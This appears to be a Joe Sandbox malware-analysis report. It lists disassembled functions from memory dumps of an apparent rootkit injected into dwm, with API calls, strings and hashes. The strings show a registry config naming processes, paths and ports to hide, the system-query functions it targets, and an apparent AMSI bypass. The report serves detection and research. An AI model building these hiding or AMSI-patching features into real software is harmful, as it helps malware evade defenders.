Part of subcall function 000002BAAED912B8: RegEnumValueW.ADVAPI32 ref: 000002BAAED91393
Part of subcall function 000002BAAED912B8: GetProcessHeap.KERNEL32 ref: 000002BAAED913DB
Part of subcall function 000002BAAED912B8: HeapAlloc.KERNEL32 ref: 000002BAAED913E9
Part of subcall function 000002BAAED912B8: GetProcessHeap.KERNEL32 ref: 000002BAAED91406
Part of subcall function 000002BAAED912B8: HeapFree.KERNEL32 ref: 000002BAAED91414
Part of subcall function 000002BAAED912B8: lstrlenW.KERNEL32 ref: 000002BAAED9141D
Part of subcall function 000002BAAED912B8: GetProcessHeap.KERNEL32 ref: 000002BAAED9142B
Part of subcall function 000002BAAED912B8: HeapAlloc.KERNEL32 ref: 000002BAAED91439

Strings

tcp_local, xrefs: 000002BAAED918FA
pid, xrefs: 000002BAAED9180E
process_names, xrefs: 000002BAAED91849
udp, xrefs: 000002BAAED91970
service_names, xrefs: 000002BAAED918BF
startup, xrefs: 000002BAAED917D1
tcp_remote, xrefs: 000002BAAED91935
paths, xrefs: 000002BAAED91884
SOFTWARE\$nya-config, xrefs: 000002BAAED9178E

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: e959e7dba3d1213401c226c67d94ee33ff2d09aaf45d9f415137de1aff4ce438
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 85716D76310E5096EB10AF31EC9869D33B4FB84B88F611215DE8E47B68EF39C954C361

Function 000002BAAED91E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002BAAED91E7F

Part of subcall function 000002BAAED922A8: GetModuleHandleA.KERNEL32(?,?,?,000002BAAED91EB1), ref: 000002BAAED922C0
Part of subcall function 000002BAAED922A8: GetProcAddress.KERNEL32(?,?,?,000002BAAED91EB1), ref: 000002BAAED922D1

CreateThread.KERNELBASE ref: 000002BAAED92043
TlsAlloc.KERNEL32 ref: 000002BAAED92049
TlsAlloc.KERNEL32 ref: 000002BAAED92055
TlsAlloc.KERNEL32 ref: 000002BAAED92061
TlsAlloc.KERNEL32 ref: 000002BAAED9206D
TlsAlloc.KERNEL32 ref: 000002BAAED92079
TlsAlloc.KERNEL32 ref: 000002BAAED92085

Strings

ntdll.dll, xrefs: 000002BAAED91E8D
PdhGetRawCounterArrayW, xrefs: 000002BAAED91FD0
EnumServicesStatusExW, xrefs: 000002BAAED91F71, 000002BAAED91F92
NtDeviceIoControlFile, xrefs: 000002BAAED91FB6
NtQuerySystemInformation, xrefs: 000002BAAED91EA5
NtResumeThread, xrefs: 000002BAAED91EC2
NtEnumerateValueKey, xrefs: 000002BAAED91F36
NtEnumerateKey, xrefs: 000002BAAED91F19
advapi32.dll, xrefs: 000002BAAED91F57, 000002BAAED91F78
AmsiScanBuffer, xrefs: 000002BAAED92012
NtQueryDirectoryFile, xrefs: 000002BAAED91EDF
sechost.dll, xrefs: 000002BAAED91F99
amsi.dll, xrefs: 000002BAAED92019
pdh.dll, xrefs: 000002BAAED91FD7, 000002BAAED91FF8
EnumServiceGroupW, xrefs: 000002BAAED91F50
NtQueryDirectoryFileEx, xrefs: 000002BAAED91EFC
PdhGetFormattedCounterArrayW, xrefs: 000002BAAED91FF1

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 6fded096c6e55d1cfa3196d5c94e029645e025300846ba3a50656a32652ddacc
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 1E5199A0210A4AA5FB00EFA8FD4C7D47331B740394FA45517948D139B5EF7A8A6AC3B3

Function 000002BAAED9EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,000002BAAED9F34A,?,?,00000000,000002BAAED9F2CD), ref: 000002BAAED9EFF5
GetLastError.KERNEL32(?,?,00000000,000002BAAED9F2CD), ref: 000002BAAED9F007
LoadLibraryExW.KERNEL32(?,?,00000000,000002BAAED9F2CD), ref: 000002BAAED9F049
VirtualProtect.KERNELBASE ref: 000002BAAED9F0A5
VirtualProtect.KERNEL32 ref: 000002BAAED9F0D6
FreeLibrary.KERNEL32(?,?,00000000,000002BAAED9F2CD), ref: 000002BAAED9F11A
GetProcAddress.KERNEL32(?,?,00000000,000002BAAED9F2CD), ref: 000002BAAED9F126

Strings

ext-ms-, xrefs: 000002BAAED9F02E
AppPolicyGetProcessTerminationMethod, xrefs: 000002BAAED9F157, 000002BAAED9F165
api-ms-, xrefs: 000002BAAED9F01B

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 7fcb2a61d369904f0f6f6f5100c1a8eef03d03cad35295a1c4a8f71840c3eb15
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: E351C221701B4451EE249B56AC083A933B0BB48BB0F680B259EBD47BD0FF39D955C762

Function 000002BAAED96270 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAED962AB
GetThreadContext.KERNEL32 ref: 000002BAAED96415

Part of subcall function 000002BAAED960A0: GetCurrentThreadId.KERNEL32 ref: 000002BAAED960A4

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2ff11c1be90479a1e6cf58369367b5af2ea5d024f86bdfb82a75ac5a15ce7897
Instruction ID: 5bc781beb160d2fd45ef9ba7d8739146d33495e58988d0860e39064703ce5f79
Opcode Fuzzy Hash: 2ff11c1be90479a1e6cf58369367b5af2ea5d024f86bdfb82a75ac5a15ce7897
Instruction Fuzzy Hash: 7ED19F76204B88C5EA70DB1AE49835A77B0F3C8B88F204116EADD47B65EF3DC551CB15

Function 000002BAAED91E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002BAAED91E47
GetProcAddress.KERNEL32 ref: 000002BAAED91E57
SleepEx.KERNELBASE ref: 000002BAAED91E67

Strings

AmsiScanBuffer, xrefs: 000002BAAED91E50
amsi.dll, xrefs: 000002BAAED91E40

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: f0304237f90cd391fe44c7f1dc9f3b070c42349d1f4a7b88577a658600086084
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 76D09E50611600E5FA087F21EC5C3693372BF64B41FF40819C58E037A0EF2E8A69C372

Function 000002BAAED95810 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAED95896

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d1efe80aa896adf56c352d5c0170c98584534c44e36adba6730078e70e045cb7
Instruction ID: d9c91d4dc7dd589e4fbddafb3cc96b078726c72af6732c899133ce16f2e79dbe
Opcode Fuzzy Hash: d1efe80aa896adf56c352d5c0170c98584534c44e36adba6730078e70e045cb7
Instruction Fuzzy Hash: 1502DB32219B8486E760DB55F89435AB7B0F3C4794F204525EACE87BA8EF7DC854CB21

Function 000002BAAED93EC8 Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F0E
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F47
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F68

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 9fd60d6837ff686c1d078e5eb21027c135e20bcc6250a287a4ac797794eff323
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: F611213660574093EB24AF25E44821AB7B0FB45B84F140526DE9D03BA4FF7ECA58C795

Function 000002BAAF192EBC Relevance: 6.2, APIs: 4, Instructions: 240memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002BAAF192F7B
VirtualProtect.KERNELBASE ref: 000002BAAF192FA5
LoadLibraryA.KERNELBASE ref: 000002BAAF19302E
VirtualProtect.KERNELBASE ref: 000002BAAF1931C2

Memory Dump Source

Source File: 0000000E.00000003.2062869608.000002BAAF190000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF190000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaf190000_dwm.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 17ae07a96ee92c414d6a29946f38cb326e9a423036338e808e7df0aa7be525c4
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: EB913673B0115087DB688F25D48876DBBA5F754B94F488032DF4987798DB3BD802C7A1

Function 000002BAAEDD2EBC Relevance: 4.7, APIs: 3, Instructions: 240memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002BAAEDD2F7B
VirtualProtect.KERNELBASE ref: 000002BAAEDD2FA5
VirtualProtect.KERNELBASE ref: 000002BAAEDD31C2

Memory Dump Source

Source File: 0000000E.00000003.2183641314.000002BAAEDD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaedd0000_dwm.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 546b4e0841fcc02726d2a51b73a6171003f6c438c4358d43e61834e2062fd656
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 5E911873B02255C7DB648F25D488B7DB3A1F754B94F6881269E8D877C8DB38D812C721

Function 000002BAAEE32EBC Relevance: 4.7, APIs: 3, Instructions: 240memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002BAAEE32F7B
VirtualProtect.KERNELBASE ref: 000002BAAEE32FA5
VirtualProtect.KERNELBASE ref: 000002BAAEE331C2

Memory Dump Source

Source File: 0000000E.00000003.2236561607.000002BAAEE30000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaee30000_dwm.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 554437a51a7a95f47f4d780ffa64d137e3021be52d4fc50a8420efd31f5194c9
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 39912572B0125297EB748F25D408B7DB3B1FB54B98F6C91249EA907F89DB38D812C721

Function 000002BAAED94120 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002BAAED941A6
VirtualAlloc.KERNEL32 ref: 000002BAAED941E0

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction ID: 62ca7807458fb13d4273c6e45d62c98dc4af8937a2e75a1e4332839c265ae0d6
Opcode Fuzzy Hash: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction Fuzzy Hash: F4315322219A4481EA70DB55E89835E7BB4F388788F200525F5CD47F99FF3EC980CBA5

Function 000002BAAED93A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002BAAED93A35
PathFindFileNameW.SHLWAPI ref: 000002BAAED93A44

Part of subcall function 000002BAAED93F88: StrCmpNIW.SHLWAPI(?,?,?,000002BAAED9272F), ref: 000002BAAED93FA0

Part of subcall function 000002BAAED93EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93EDB
Part of subcall function 000002BAAED93EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F0E
Part of subcall function 000002BAAED93EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F2E
Part of subcall function 000002BAAED93EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F47
Part of subcall function 000002BAAED93EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002BAAED93A5B), ref: 000002BAAED93F68

CreateThread.KERNELBASE ref: 000002BAAED93A8B

Part of subcall function 000002BAAED91E74: GetCurrentThread.KERNEL32 ref: 000002BAAED91E7F
Part of subcall function 000002BAAED91E74: CreateThread.KERNELBASE ref: 000002BAAED92043
Part of subcall function 000002BAAED91E74: TlsAlloc.KERNEL32 ref: 000002BAAED92049
Part of subcall function 000002BAAED91E74: TlsAlloc.KERNEL32 ref: 000002BAAED92055
Part of subcall function 000002BAAED91E74: TlsAlloc.KERNEL32 ref: 000002BAAED92061
Part of subcall function 000002BAAED91E74: TlsAlloc.KERNEL32 ref: 000002BAAED9206D
Part of subcall function 000002BAAED91E74: TlsAlloc.KERNEL32 ref: 000002BAAED92079
Part of subcall function 000002BAAED91E74: TlsAlloc.KERNEL32 ref: 000002BAAED92085

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: 09b2e1fafa1a3fe18016e9f9a923ce9fe020257aefd4cfda65106ec6af018d25
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: A4115A6561064192FBA0A720AD4D3AD73B1A794345FB0412994CE86AD0FF7ECD58C633

Function 000002BAAED95530 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002BAAED95534
VirtualProtect.KERNEL32 ref: 000002BAAED95577
FlushInstructionCache.KERNEL32 ref: 000002BAAED9558C

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 8659059d713f10fb2b36df29fda00c285aebd80b25688c8f1dc0718561e99dbb
Instruction ID: d1a6b5c8f0e4d17bb4bdfb15b6de690a98702892b9d2224172b62c2489fba496
Opcode Fuzzy Hash: 8659059d713f10fb2b36df29fda00c285aebd80b25688c8f1dc0718561e99dbb
Instruction Fuzzy Hash: A7F03026218B44C0D670EB05E86574A77B0E3C8BD4F244111FACD07F69DF3AC980CB21

Function 000002BAAED91BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002BAAED91724: GetProcessHeap.KERNEL32 ref: 000002BAAED9172F
Part of subcall function 000002BAAED91724: HeapAlloc.KERNEL32 ref: 000002BAAED9173E
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED917AE
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED917DB
Part of subcall function 000002BAAED91724: RegCloseKey.ADVAPI32 ref: 000002BAAED917F5
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED91815
Part of subcall function 000002BAAED91724: RegCloseKey.KERNELBASE ref: 000002BAAED91830
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED91850
Part of subcall function 000002BAAED91724: RegCloseKey.ADVAPI32 ref: 000002BAAED9186B
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED9188B
Part of subcall function 000002BAAED91724: RegCloseKey.ADVAPI32 ref: 000002BAAED918A6
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED918C6

SleepEx.KERNELBASE ref: 000002BAAED91BDF

Part of subcall function 000002BAAED91724: RegCloseKey.ADVAPI32 ref: 000002BAAED918E1
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED91901
Part of subcall function 000002BAAED91724: RegCloseKey.ADVAPI32 ref: 000002BAAED9191C
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED9193C
Part of subcall function 000002BAAED91724: RegCloseKey.ADVAPI32 ref: 000002BAAED91957
Part of subcall function 000002BAAED91724: RegOpenKeyExW.KERNELBASE ref: 000002BAAED91977
Part of subcall function 000002BAAED91724: RegCloseKey.ADVAPI32 ref: 000002BAAED91992
Part of subcall function 000002BAAED91724: RegCloseKey.KERNELBASE ref: 000002BAAED9199C

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: e9fd47210766d6569e59dd8c20d80ed9a0c09a2ff7de7f8689da7331f05a9ba0
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: 8D312E6520065181FB54AB36DE49369B3B4AB44BC0F3654298E9D87B9AFF27CC50C236

Function 000002BAAED9F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000002BAAED9F390

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
